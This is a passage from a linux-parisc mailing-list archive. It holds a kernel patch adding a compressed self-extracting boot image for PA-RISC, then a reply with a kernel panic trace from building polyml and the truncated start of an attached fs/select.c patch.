+COMPILE_VERSION := __linux_compile_version_id__`hostname |  \
+			tr -c '[0-9A-Za-z]' '_'`__`date | \
+			tr -c '[0-9A-Za-z]' '_'`_t
+
+ccflags-y  := -DCOMPILE_VERSION=$(COMPILE_VERSION) -gstabs -I.
+
+targets := image
+targets += bzImage
+subdir- := compressed
+
+$(obj)/image: vmlinux FORCE
+	$(call if_changed,objcopy)
+
+$(obj)/bzImage: $(obj)/compressed/vmlinux FORCE
+	$(call if_changed,objcopy)
+
+$(obj)/compressed/vmlinux: FORCE
+	$(Q)$(MAKE) $(build)=$(obj)/compressed $@
+
+install: $(CONFIGURE) $(obj)/bzImage
+	sh -x  $(srctree)/$(obj)/install.sh $(KERNELRELEASE) $(obj)/bzImage \
+	      System.map "$(INSTALL_PATH)"
diff --git a/arch/parisc/boot/compressed/.gitignore b/arch/parisc/boot/compressed/.gitignore
new file mode 100644
index 0000000..ae06b9b
--- /dev/null
+++ b/arch/parisc/boot/compressed/.gitignore
@@ -0,0 +1,3 @@
+sizes.h
+vmlinux
+vmlinux.lds
diff --git a/arch/parisc/boot/compressed/Makefile b/arch/parisc/boot/compressed/Makefile
new file mode 100644
index 0000000..9b2d304
--- /dev/null
+++ b/arch/parisc/boot/compressed/Makefile
@@ -0,0 +1,87 @@
+#
+# linux/arch/parisc/boot/compressed/Makefile
+#
+# create a compressed self-extracting vmlinux image from the original vmlinux
+#
+
+KCOV_INSTRUMENT := n
+GCOV_PROFILE := n
+UBSAN_SANITIZE := n
+
+targets := vmlinux.lds vmlinux vmlinux.bin vmlinux.bin.gz vmlinux.bin.bz2
+targets += vmlinux.bin.xz vmlinux.bin.lzma vmlinux.bin.lzo vmlinux.bin.lz4
+targets += misc.o piggy.o sizes.h head.o real2.o firmware.o
+
+KBUILD_CFLAGS := -D__KERNEL__ -O2 -DBOOTLOADER
+KBUILD_CFLAGS += -DDISABLE_BRANCH_PROFILING
+KBUILD_CFLAGS += $(cflags-y) -fno-delete-null-pointer-checks
+KBUILD_CFLAGS += $(call cc-option,-mpacked-stack)
+KBUILD_CFLAGS += -fno-PIE -mno-space-regs
+ifndef CONFIG_64BIT
+KBUILD_CFLAGS += -mfast-indirect-calls
+endif
+
+OBJECTS += $(obj)/head.o $(obj)/real2.o $(obj)/firmware.o $(obj)/misc.o $(obj)/piggy.o
+
+# LDFLAGS_vmlinux := -X --whole-archive -e startup -T
+LDFLAGS_vmlinux := -X -e startup --as-needed -T
+$(obj)/vmlinux: $(obj)/vmlinux.lds $(OBJECTS) $(LIBGCC)
+	$(call if_changed,ld)
+
+sed-sizes := -e 's/^\([0-9a-fA-F]*\) . \(__bss_start\|_end\|parisc_kernel_start\)$$/\#define SZ\2 0x\1/p'
+
+quiet_cmd_sizes = GEN $@
+      cmd_sizes = $(NM) $< | sed -n $(sed-sizes) > $@
+
+$(obj)/sizes.h: vmlinux
+	$(call if_changed,sizes)
+
+AFLAGS_head.o += -I$(objtree)/$(obj) -DBOOTLOADER
+$(obj)/head.o: $(obj)/sizes.h
+
+CFLAGS_misc.o += -I$(objtree)/$(obj)
+$(obj)/misc.o: $(obj)/sizes.h
+
+$(obj)/firmware.o: $(obj)/firmware.c
+$(obj)/firmware.c: $(srctree)/arch/$(SRCARCH)/kernel/firmware.c
+	$(call cmd,shipped)
+
+AFLAGS_real2.o += -DBOOTLOADER
+$(obj)/real2.o: $(obj)/real2.S
+$(obj)/real2.S: $(srctree)/arch/$(SRCARCH)/kernel/real2.S
+	$(call cmd,shipped)
+
+$(obj)/misc.o: $(obj)/sizes.h
+
+CPPFLAGS_vmlinux.lds += -I$(objtree)/$(obj) -DBOOTLOADER
+$(obj)/vmlinux.lds: $(obj)/sizes.h
+
+OBJCOPYFLAGS_vmlinux.bin := -O binary -R .comment -S
+$(obj)/vmlinux.bin: vmlinux
+	$(call if_changed,objcopy)
+
+vmlinux.bin.all-y := $(obj)/vmlinux.bin
+
+suffix-$(CONFIG_KERNEL_GZIP)  := gz
+suffix-$(CONFIG_KERNEL_BZIP2) := bz2
+suffix-$(CONFIG_KERNEL_LZ4)  := lz4
+suffix-$(CONFIG_KERNEL_LZMA)  := lzma
+suffix-$(CONFIG_KERNEL_LZO)  := lzo
+suffix-$(CONFIG_KERNEL_XZ)  := xz
+
+$(obj)/vmlinux.bin.gz: $(vmlinux.bin.all-y)
+	$(call if_changed,gzip)
+$(obj)/vmlinux.bin.bz2: $(vmlinux.bin.all-y)
+	$(call if_changed,bzip2)
+$(obj)/vmlinux.bin.lz4: $(vmlinux.bin.all-y)
+	$(call if_changed,lz4)
+$(obj)/vmlinux.bin.lzma: $(vmlinux.bin.all-y)
+	$(call if_changed,lzma)
+$(obj)/vmlinux.bin.lzo: $(vmlinux.bin.all-y)
+	$(call if_changed,lzo)
+$(obj)/vmlinux.bin.xz: $(vmlinux.bin.all-y)
+	$(call if_changed,xzkern)
+
+LDFLAGS_piggy.o := -r --format binary --oformat $(LD_BFD) -T
+$(obj)/piggy.o: $(obj)/vmlinux.scr $(obj)/vmlinux.bin.$(suffix-y)
+	$(call if_changed,ld)
diff --git a/arch/parisc/boot/compressed/head.S b/arch/parisc/boot/compressed/head.S
new file mode 100644
index 0000000..5aba20f
--- /dev/null
+++ b/arch/parisc/boot/compressed/head.S
@@ -0,0 +1,85 @@
+/*
+ * Startup glue code to uncompress the kernel
+ *
+ *   (C) 2017 Helge Deller <deller@gmx.de>
+ */
+
+#include <linux/init.h>
+#include <linux/linkage.h>
+#include <asm/asm-offsets.h>
+#include <asm/page.h>
+#include <asm/psw.h>
+#include <asm/pdc.h>
+#include <asm/assembly.h>
+#include "sizes.h"
+
+#define BOOTADDR(x)	(x)
+
+#ifndef CONFIG_64BIT
+	.import	$global$		/* forward declaration */
+#endif /*!CONFIG_64BIT*/
+
+	__HEAD
+
+ENTRY(startup)
+	 .level LEVEL
+
+#define PSW_W_SM	0x200
+#define PSW_W_BIT       36
+
+	;! nuke the W bit, saving original value
+	.level 2.0
+	rsm	PSW_W_SM, %r1
+
+	.level 1.1
+	extrw,u	%r1, PSW_W_BIT-32, 1, %r1
+	copy	%r1, %arg0
+
+	/* Make sure sr4-sr7 are set to zero for the kernel address space */
+	mtsp    %r0,%sr4
+	mtsp    %r0,%sr5
+	mtsp    %r0,%sr6
+	mtsp    %r0,%sr7
+
+	/* Clear BSS */
+
+	.import _bss,data
+	.import _ebss,data
+
+	load32	BOOTADDR(_bss),%r3
+	load32	BOOTADDR(_ebss),%r4
+	ldo	FRAME_SIZE(%r4),%sp	/* stack at end of bss */
+$bss_loop:
+	cmpb,<<,n %r3,%r4,$bss_loop
+	stw,ma	%r0,4(%r3)
+
+	/* Initialize the global data pointer */
+	loadgp
+
+	/* arg0..arg4 were set by palo. */
+	copy	%arg1, %r6		/* command line */
+	copy	%arg2, %r7		/* rd-start */
+	copy	%arg3, %r8		/* rd-end */
+	load32	BOOTADDR(decompress_kernel),%r3
+
+#ifdef CONFIG_64BIT
+	.level LEVEL
+	ssm	PSW_W_SM, %r0		/* set W-bit */
+	depdi	0, 31, 32, %r3
+#endif
+	load32	BOOTADDR(startup_continue), %r2
+	bv,n	0(%r3)
+
+startup_continue:
+#ifdef CONFIG_64BIT
+	.level LEVEL
+	rsm	PSW_W_SM, %r0		/* clear W-bit */
+#endif
+
+	load32	KERNEL_BINARY_TEXT_START, %arg0 /* free mem */
+	copy	%r6, %arg1		/* command line */
+	copy	%r7, %arg2		/* rd-start */
+	copy	%r8, %arg3		/* rd-end */
+
+	bv,n	0(%ret0)
+END(startup)
diff --git a/arch/parisc/boot/compressed/misc.c b/arch/parisc/boot/compressed/misc.c
new file mode 100644
index 0000000..248e232
--- /dev/null
+++ b/arch/parisc/boot/compressed/misc.c
@@ -0,0 +1,301 @@
+/*
+ * Definitions and wrapper functions for kernel decompressor
+ *
+ *   (C) 2017 Helge Deller <deller@gmx.de>
+ */
+
+#include <linux/uaccess.h>
+#include <asm/unaligned.h>
+#include <asm/page.h>
+#include "sizes.h"
+
+/*
+ * gzip declarations
+ */
+#define STATIC static
+
+#undef memmove
+#define memmove memmove
+#define memzero(s, n) memset((s), 0, (n))
+
+#define malloc	malloc_gzip
+#define free	free_gzip
+
+/* Symbols defined by linker scripts */
+extern char input_data[];
+extern int input_len;
+extern __le32 output_len;	/* at unaligned address, little-endian */
+extern char _text, _end;
+extern char _bss, _ebss;
+extern char _startcode_end;
+extern void startup_continue(void *entry, unsigned long cmdline,
+	unsigned long rd_start, unsigned long rd_end) __noreturn;
+
+void error(char *m) __noreturn;
+
+static unsigned long free_mem_ptr;
+static unsigned long free_mem_end_ptr;
+
+#ifdef CONFIG_KERNEL_GZIP
+#include "../../../../lib/decompress_inflate.c"
+#endif
+
+#ifdef CONFIG_KERNEL_BZIP2
+#include "../../../../lib/decompress_bunzip2.c"
+#endif
+
+#ifdef CONFIG_KERNEL_LZ4
+#include "../../../../lib/decompress_unlz4.c"
+#endif
+
+#ifdef CONFIG_KERNEL_LZMA
+#include "../../../../lib/decompress_unlzma.c"
+#endif
+
+#ifdef CONFIG_KERNEL_LZO
+#include "../../../../lib/decompress_unlzo.c"
+#endif
+
+#ifdef CONFIG_KERNEL_XZ
+#include "../../../../lib/decompress_unxz.c"
+#endif
+
+void *memmove(void *dest, const void *src, size_t n)
+{
+	const char *s = src;
+	char *d = dest;
+
+	if (d <= s) {
+		while (n--)
+			*d++ = *s++;
+	} else {
+		d += n;
+		s += n;
+		while (n--)
+			*--d = *--s;
+	}
+	return dest;
+}
+
+void *memset(void *s,int c, size_t count)
+{
+	char *xs = (char *)s;
+
+	while (count--)
+		*xs++ = c;
+	return s;
+}
+
+void *memcpy(void *d, const void *s, size_t len)
+{
+	char *dest = (char *)d;
+	const char *source = (const char *)s;
+
+	while (len--)
+		*dest++ = *source++;
+	return d;
+}
+
+size_t strlen(const char *s)
+{
+        const char *sc;
+
+        for (sc = s; *sc != '\0'; ++sc)
+                /* nothing */;
+        return sc - s;
+}
+
+char *strchr(const char *s, int c)
+{
+	while (*s) {
+		if (*s == (char)c)
+			return (char *)s;
+		++s;
+	}
+	return NULL;
+}
+
+int puts(const char *s)
+{
+    const char *nuline = s;
+
+    while ((nuline = strchr(s, '\n')) != NULL)
+    {
+	if (nuline != s)
+		pdc_iodc_print(s, nuline - s);
+	pdc_iodc_print("\r\n", 2);
+	s = nuline + 1;
+    }
+    if (*s != '\0')
+	pdc_iodc_print(s, strlen(s));
+    return 0;
+}
+
+static int putchar(int c)
+{
+    char buf[2];
+
+    buf[0] = c;
+    buf[1] = '\0';
+    puts(buf);
+    return c;
+}
+
+void __noreturn error(char *x)
+{
+	puts("\n\n");
+	puts(x);
+	puts("\n\n -- System halted");
+	while (1) /* wait forever. */;
+}
+
+static int print_hex(unsigned long num)
+{
+	const char hex[] = "0123456789abcdef";
+	char str[40];
+	int i = sizeof(str)-1;
+
+	str[i--] = '\0';
+	do {
+		str[i--] = hex[num & 0x0f];
+		num >>= 4;
+	} while (num);
+
+	str[i--] = 'x';
+	str[i] = '0';
+	puts(&str[i]);
+
+	return 0;
+}
+
+int printk(const char *fmt, ...)
+{
+	va_list args;
+	int i = 0;
+
+	va_start(args, fmt);
+
+	while (fmt[i]) {
+		if (fmt[i] != '%') {
+put:
+			putchar(fmt[i++]);
+			continue;
+		}
+
+		if (fmt[++i] == '%')
+			goto put;
+		++i;
+		print_hex(va_arg(args, unsigned long));
+	}
+
+	va_end(args);
+	return 0;
+}
+
+/* helper functions for libgcc */
+void abort(void)
+{
+	error("abort() called.");
+}
+
+#undef malloc
+void *malloc(size_t size)
+{
+	return malloc_gzip(size);
+}
+
+#undef free
+void free(void *ptr)
+{
+	return free_gzip(ptr);
+}
+
+
+static void flush_data_cache(char *start, unsigned long length)
+{
+    char *end = start + length;
+
+    do
+    {
+	asm volatile("fdc 0(%0)" : : "r" (start));
+	asm volatile("fic 0(%%sr0,%0)" : : "r" (start));
+	start += 16;
+    } while (start < end);
+    asm volatile("fdc 0(%0)" : : "r" (end));
+
+    asm ("sync");
+}
+
+unsigned long decompress_kernel(unsigned int started_wide,
+		unsigned int command_line,
+		const unsigned int rd_start,
+		const unsigned int rd_end)
+{
+	char *output;
+	unsigned long len, len_all;
+
+#ifdef CONFIG_64BIT
+	parisc_narrow_firmware = 0;
+#endif
+
+	set_firmware_width_unlocked();
+
+	putchar('U');	/* if you get this p and no more, string storage */
+			/* in $GLOBAL$ is wrong or %dp is wrong */
+	puts("ncompressing ...\n");
+
+	output = (char *) KERNEL_BINARY_TEXT_START;
+	len_all = __pa(SZ_end) - __pa(SZparisc_kernel_start);
+
+	if ((unsigned long) &_startcode_end > (unsigned long) output)
+		error("Bootcode overlaps kernel code");
+
+	len = get_unaligned_le32(&output_len);
+	if (len > len_all)
+		error("Output len too big.");
+	else
+		memset(&output[len], 0, len_all - len);
+
+	/*
+	 * Initialize free_mem_ptr and free_mem_end_ptr.
+	 */
+	free_mem_ptr = (unsigned long) &_ebss;
+	free_mem_ptr += 2*1024*1024;	/* leave 2 MB for stack */
+
+	/* Limit memory for bootoader to 1GB */
+	#define ARTIFICIAL_LIMIT (1*1024*1024*1024)
+	free_mem_end_ptr = PAGE0->imm_max_mem;
+	if (free_mem_end_ptr > ARTIFICIAL_LIMIT)
+		free_mem_end_ptr = ARTIFICIAL_LIMIT;
+
+#ifdef CONFIG_BLK_DEV_INITRD
+	/* if we have ramdisk this is at end of memory */
+	if (rd_start && rd_start < free_mem_end_ptr)
+		free_mem_end_ptr = rd_start;
+#endif
+
+#ifdef DEBUG
+	printk("startcode_end = %x\n", &_startcode_end);
+	printk("commandline   = %x\n", command_line);
+	printk("rd_start      = %x\n", rd_start);
+	printk("rd_end        = %x\n", rd_end);
+
+	printk("free_ptr      = %x\n", free_mem_ptr);
+	printk("free_ptr_end  = %x\n", free_mem_end_ptr);
+
+	printk("input_data    = %x\n", input_data);
+	printk("input_len     = %x\n", input_len);
+	printk("output        = %x\n", output);
+	printk("output_len    = %x\n", len);
+	printk("output_max    = %x\n", len_all);
+#endif
+
+	__decompress(input_data, input_len, NULL, NULL,
+			output, 0, NULL, error);
+
+	flush_data_cache(output, len);
+
+	printk("Booting kernel ...\n\n");
+
+	return (unsigned long) output;
+}
diff --git a/arch/parisc/boot/compressed/vmlinux.lds.S b/arch/parisc/boot/compressed/vmlinux.lds.S
new file mode 100644
index 0000000..a4ce331
--- /dev/null
+++ b/arch/parisc/boot/compressed/vmlinux.lds.S
@@ -0,0 +1,101 @@
+#include <asm-generic/vmlinux.lds.h>
+#include <asm/page.h>
+#include "sizes.h"
+
+#ifndef CONFIG_64BIT
+OUTPUT_FORMAT("elf32-hppa-linux")
+OUTPUT_ARCH(hppa)
+#else
+OUTPUT_FORMAT("elf64-hppa-linux")
+OUTPUT_ARCH(hppa:hppa2.0w)
+#endif
+
+ENTRY(startup)
+
+SECTIONS
+{
+	/* palo loads at 0x60000 */
+	/* loaded kernel will move to 0x10000 */
+	. = 0xe0000;    /* should not overwrite palo code */
+
+	.head.text : {
+		_head = . ;
+		HEAD_TEXT
+		_ehead = . ;
+	}
+
+	/* keep __gp below 0x1000000 */
+#ifdef CONFIG_64BIT
+	. = ALIGN(16);
+	/* Linkage tables */
+	.opd : {
+		*(.opd)
+	} PROVIDE (__gp = .);
+	.plt : {
+		*(.plt)
+	}
+	.dlt : {
+		*(.dlt)
+	}
+#endif
+	_startcode_end = .;
+
+	/* bootloader code and data starts behind area of extracted kernel */
+	. = (SZ_end - SZparisc_kernel_start + KERNEL_BINARY_TEXT_START);
+
+	/* align on next page boundary */
+	. = ALIGN(4096);
+	.text :	{
+		_text = .;	/* Text */
+		*(.text)
+		*(.text.*)
+		_etext = . ;
+	}
+	. = ALIGN(8);
+	.data :	{
+		_data = . ;
+		*(.data)
+		*(.data.*)
+		_edata = . ;
+	}
+	. = ALIGN(8);
+	.rodata : {
+		_rodata = . ;
+		*(.rodata)	 /* read-only data */
+		*(.rodata.*)
+		_erodata = . ;
+	}
+	. = ALIGN(8);
+	.rodata.compressed : {
+		*(.rodata.compressed)
+	}
+	. = ALIGN(8);
+	.bss : {
+		_bss = . ;
+		*(.bss)
+		*(.bss.*)
+		*(COMMON)
+		. = ALIGN(4096);
+		_ebss = .;
+	}
+
+	STABS_DEBUG
+	.note 0 : { *(.note) }
+
+	/* Sections to be discarded */
+	DISCARDS
+	/DISCARD/ : {
+#ifdef CONFIG_64BIT
+		/* temporary hack until binutils is fixed to not emit these
+		 * for static binaries
+		 */
+		*(.PARISC.unwind)	/* no unwind data */
+		*(.interp)
+		*(.dynsym)
+		*(.dynstr)
+		*(.dynamic)
+		*(.hash)
+		*(.gnu.hash)
+#endif
+	}
+}
diff --git a/arch/parisc/boot/compressed/vmlinux.scr b/arch/parisc/boot/compressed/vmlinux.scr
new file mode 100644
index 0000000..dac2d14
--- /dev/null
+++ b/arch/parisc/boot/compressed/vmlinux.scr
@@ -0,0 +1,10 @@
+SECTIONS
+{
+  .rodata.compressed : {
+	input_len = .;
+	LONG(input_data_end - input_data) input_data = .;
+	*(.data)
+	output_len = . - 4; /* can be at unaligned address */
+	input_data_end = .;
+	}
+}
diff --git a/arch/parisc/boot/install.sh b/arch/parisc/boot/install.sh
new file mode 100644
index 0000000..8f7c365
--- /dev/null
+++ b/arch/parisc/boot/install.sh
@@ -0,0 +1,65 @@
+#!/bin/sh
+#
+# arch/parisc/install.sh, derived from arch/i386/boot/install.sh
+#
+# This file is subject to the terms and conditions of the GNU General Public
+# License.  See the file "COPYING" in the main directory of this archive
+# for more details.
+#
+# Copyright (C) 1995 by Linus Torvalds
+#
+# Adapted from code in arch/i386/boot/Makefile by H. Peter Anvin
+#
+# "make install" script for i386 architecture
+#
+# Arguments:
+#   $1 - kernel version
+#   $2 - kernel image file
+#   $3 - kernel map file
+#   $4 - default install path (blank if root directory)
+#
+
+verify () {
+	if [ ! -f "$1" ]; then
+		echo ""                                                   1>&2
+		echo " *** Missing file: $1"                              1>&2
+		echo ' *** You need to run "make" before "make install".' 1>&2
+		echo ""                                                   1>&2
+		exit 1
+	fi
+}
+
+# Make sure the files actually exist
+
+verify "$2"
+verify "$3"
+
+# User may have a custom install script
+
+if [ -n "${INSTALLKERNEL}" ]; then
+  if [ -x ~/bin/${INSTALLKERNEL} ]; then exec ~/bin/${INSTALLKERNEL} "$@"; fi
+  if [ -x /sbin/${INSTALLKERNEL} ]; then exec /sbin/${INSTALLKERNEL} "$@"; fi
+fi
+
+# Default install
+
+if [ "$(basename $2)" = "zImage" ]; then
+# Compressed install
+  echo "Installing compressed kernel"
+  base=vmlinuz
+else
+# Normal install
+  echo "Installing normal kernel"
+  base=vmlinux
+fi
+
+if [ -f $4/$base-$1 ]; then
+  mv $4/$base-$1 $4/$base-$1.old
+fi
+cat $2 > $4/$base-$1
+
+# Install system map file
+if [ -f $4/System.map-$1 ]; then
+  mv $4/System.map-$1 $4/System.map-$1.old
+fi
+cp $3 $4/System.map-$1
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index 80e742a..bfed09d 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -116,11 +116,15 @@ extern int npmem_ranges;
 /* This governs the relationship between virtual and physical addresses.
  * If you alter it, make sure to take care of our various fixed mapping
  * segments in fixmap.h */
+#if defined(BOOTLOADER)
+#define __PAGE_OFFSET	(0)		/* bootloader uses physical addresses */
+#else
 #ifdef CONFIG_64BIT
 #define __PAGE_OFFSET	(0x40000000)	/* 1GB */
 #else
 #define __PAGE_OFFSET	(0x10000000)	/* 256MB */
 #endif
+#endif /* BOOTLOADER */
 
 #define PAGE_OFFSET		((unsigned long)__PAGE_OFFSET)
 
diff --git a/arch/parisc/include/asm/pdc.h b/arch/parisc/include/asm/pdc.h
index 7569627..26b4455 100644
--- a/arch/parisc/include/asm/pdc.h
+++ b/arch/parisc/include/asm/pdc.h
@@ -5,6 +5,8 @@
 
 #if !defined(__ASSEMBLY__)
 
+extern int parisc_narrow_firmware;
+
 extern int pdc_type;
 extern unsigned long parisc_cell_num; /* cell number the CPU runs on (PAT) */
 extern unsigned long parisc_cell_loc; /* cell location of CPU (PAT)	   */
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index f622a31..41efeed 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -69,7 +69,15 @@
 #include <asm/pdcpat.h>
 #include <asm/processor.h>	/* for boot_cpu_data */
 
+#if defined(BOOTLOADER)
+# undef  spin_lock_irqsave
+# define spin_lock_irqsave(a,b) b = 1
+# undef  spin_unlock_irqrestore
+# define spin_unlock_irqrestore(a,b)
+#else
 static DEFINE_SPINLOCK(pdc_lock);
+#endif
+
 extern unsigned long pdc_result[NUM_PDC_RESULT];
 extern unsigned long pdc_result2[NUM_PDC_RESULT];
 
@@ -186,6 +194,8 @@ void set_firmware_width(void)
 }
 #endif /*CONFIG_64BIT*/
 
+
+#if !defined(BOOTLOADER)
 /**
  * pdc_emergency_unlock - Unlock the linux pdc lock
  *
@@ -1143,6 +1153,8 @@ void pdc_io_reset_devices(void)
 	spin_unlock_irqrestore(&pdc_lock, flags);
 }
 
+#endif /* defined(BOOTLOADER) */
+
 /* locked by pdc_console_lock */
 static int __attribute__((aligned(8)))   iodc_retbuf[32];
 static char __attribute__((aligned(64))) iodc_dbuf[4096];
@@ -1187,6 +1199,7 @@ int pdc_iodc_print(const unsigned char *str, unsigned count)
 	return i;
 }
 
+#if !defined(BOOTLOADER)
 /**
  * pdc_iodc_getc - Read a character (non-blocking) from the PDC console.
  *
@@ -1524,6 +1537,7 @@ int pdc_pat_mem_get_dimm_phys_location(
 	return retval;
 }
 #endif /* CONFIG_64BIT */
+#endif /* defined(BOOTLOADER) */
 
 
 /***************** 32-bit real-mode calls ***********/
@@ -1633,4 +1647,3 @@ long real64_call(unsigned long fn, ...)
 }
 
 #endif /* CONFIG_64BIT */
-
diff --git a/arch/parisc/kernel/real2.S b/arch/parisc/kernel/real2.S
index 1db58e5..cc99634 100644
--- a/arch/parisc/kernel/real2.S
+++ b/arch/parisc/kernel/real2.S
@@ -162,6 +162,7 @@ ENDPROC_CFI(restore_control_regs)
 	.text
 	.align 128
 ENTRY_CFI(rfi_virt2real)
+#if !defined(BOOTLOADER)
 	/* switch to real mode... */
 	rsm		PSW_SM_I,%r0
 	load32		PA(rfi_v2r_1), %r1
@@ -191,6 +192,7 @@ ENTRY_CFI(rfi_virt2real)
 	nop
 rfi_v2r_1:
 	tophys_r1 %r2
+#endif /* defined(BOOTLOADER) */
 	bv	0(%r2)
 	nop
 ENDPROC_CFI(rfi_virt2real)
@@ -198,6 +200,7 @@ ENDPROC_CFI(rfi_virt2real)
 	.text
 	.align 128
 ENTRY_CFI(rfi_real2virt)
+#if !defined(BOOTLOADER)
 	rsm		PSW_SM_I,%r0
 	load32		(rfi_r2v_1), %r1
 	nop
@@ -226,6 +229,7 @@ ENTRY_CFI(rfi_real2virt)
 	nop
 rfi_r2v_1:
 	tovirt_r1 %r2
+#endif /* defined(BOOTLOADER) */
 	bv	0(%r2)
 	nop
 ENDPROC_CFI(rfi_real2virt)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Kernel panic building polyml
Date: Sun, 20 Aug 2017 14:13:29 -0400
Lines: 110
Approved: news@gmane.org
Message-ID: <887D24D5-832C-409A-83AF-646E4937E87E@bell.net>
References: <E754A6C6-AA72-43F1-A799-E48A2146BF17@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-12-959599694
X-Trace: blaine.gmane.org 1503252813 2525 195.159.176.226 (20 Aug 2017 18:13:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 20 Aug 2017 18:13:33 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 20 20:13:25 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djUiz-0007I1-3h
	for glpp-linux-parisc@m.gmane.org; Sun, 20 Aug 2017 20:13:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753380AbdHTSNc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 20 Aug 2017 14:13:32 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:54725 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1753379AbdHTSNb (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 20 Aug 2017 14:13:31 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20170820181329.CJJA12599.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 20 Aug 2017 14:13:29 -0400
Original-Received: from [192.168.2.25] (really [70.55.25.117]) by torspm02.bell.net
          with ESMTP
          id <20170820181329.UXXF25422.torspm02.bell.net@[192.168.2.25]>;
          Sun, 20 Aug 2017 14:13:29 -0400
In-Reply-To: <E754A6C6-AA72-43F1-A799-E48A2146BF17@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=I5WKfJog c=1 sm=0 tr=0 a=L9YmJBVkqdxzVdbQY8UOKg==:17 a=KeKAF7QvOSUA:10 a=TRp10MNlOk5OMdTRogkA:9 a=CjuIK1q_8ugA:10 a=BwqKboPiwLvP9zfYuJEA:9 a=VxAhp2OGdTwA:10 a=Ld372NDzu18A:10 a=FBHGMhGWAAAA:8 a=x4eo2g6fNBR7jntNTckA:9 a=ATlVsGG5QSsA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27721
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27721>


--Apple-Mail-12-959599694
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

On 2017-08-19, at 8:56 AM, John David Anglin wrote:

> mx3210 login: systemd-logind[4461]: New seat seat0.
> systemd-logind[4461]: Failed to start user service, ignoring: Unknown =
unit: user@0.service
> systemd-logind[4461]: Failed to start user service, ignoring: Unknown =
unit: user@110.service
> Backtrace:
> [<00000000402f316c>] compat_get_fd_set+0x5c/0x78
> [<00000000402f3cac>] compat_core_sys_select+0x1cc/0x300
> [<00000000402f52dc>] compat_SyS_select+0x144/0x1a0
> [<0000000040155fe4>] syscall_exit+0x0/0x14
>=20
>=20
> Kernel Fault: Code=3D26 (Data memory access rights trap) =
regs=3D00000002234b84e0 (Addr=3D0000000000000000)
> CPU: 1 PID: 21167 Comm: polyimport Not tainted 4.13.0-rc5+ #1
> task: 0000000223d74b50 task.stack: 00000002234b8000
>=20
> YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001101111111100001111 Not tainted
> r00-03 000000ff0806ff0f 00000002234b8420 00000000402f316c =
00000002234b84a0
> r04-07 000000004071c960 00000002234b82b8 00000002234b8218 =
0000000000000100
> r08-11 0000000000000004 0000000000000100 00000000f3780588 =
0000000000000000
> r12-15 0000000000000000 00000002234b8148 0000000000000000 =
00000002234b8218
> r16-19 0000000000000000 000000000002f03c 000000000002f030 =
0000000000000000
> r20-23 0000000000000100 0000000000000000 00000002234b8148 =
0000000000000000
> r24-27 0000000000000100 0000000000000000 0000000000000000 =
000000004071c960
> r28-31 0000000000000000 00000002234b8470 00000002234b84e0 =
0000000000000000
> sr00-03 0000000003f15000 0000000003f15000 0000000003f15000 =
0000000003f15000
> sr04-07 0000000000000000 0000000000000000 0000000000000000 =
0000000000000000
>=20
> IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000406a4718 =
00000000406a471c
> IIR: 0ff312c0 ISR: 0000000000000000 IOR: 0000000000000000
> CPU: 1 CR30: 00000002234b8000 CR31: b33e06ff0008e07f
> ORIG_R28: 0000000000000040
> IAOQ[0]: memset+0x68/0xd8
> IAOQ[1]: memset+0x6c/0xd8
> RP(r2): compat_get_fd_set+0x5c/0x78
> Backtrace:
> [<00000000402f316c>] compat_get_fd_set+0x5c/0x78
> [<00000000402f3cac>] compat_core_sys_select+0x1cc/0x300
> [<00000000402f52dc>] compat_SyS_select+0x144/0x1a0
> [<0000000040155fe4>] syscall_exit+0x0/0x14
>=20
> Kernel panic - not syncing: Kernel Fault
> ---[ end Kernel panic - not syncing: Kernel Fault


The attached patch is probably not the real fix but it should prevent =
the panic.



--Apple-Mail-12-959599694
Content-Disposition: attachment;
	filename=select.d.txt
Content-Type: text/plain;
	name="select.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/fs/select.c b/fs/select.c
index d6c652a31e99..8790c0a0bd3c 100644
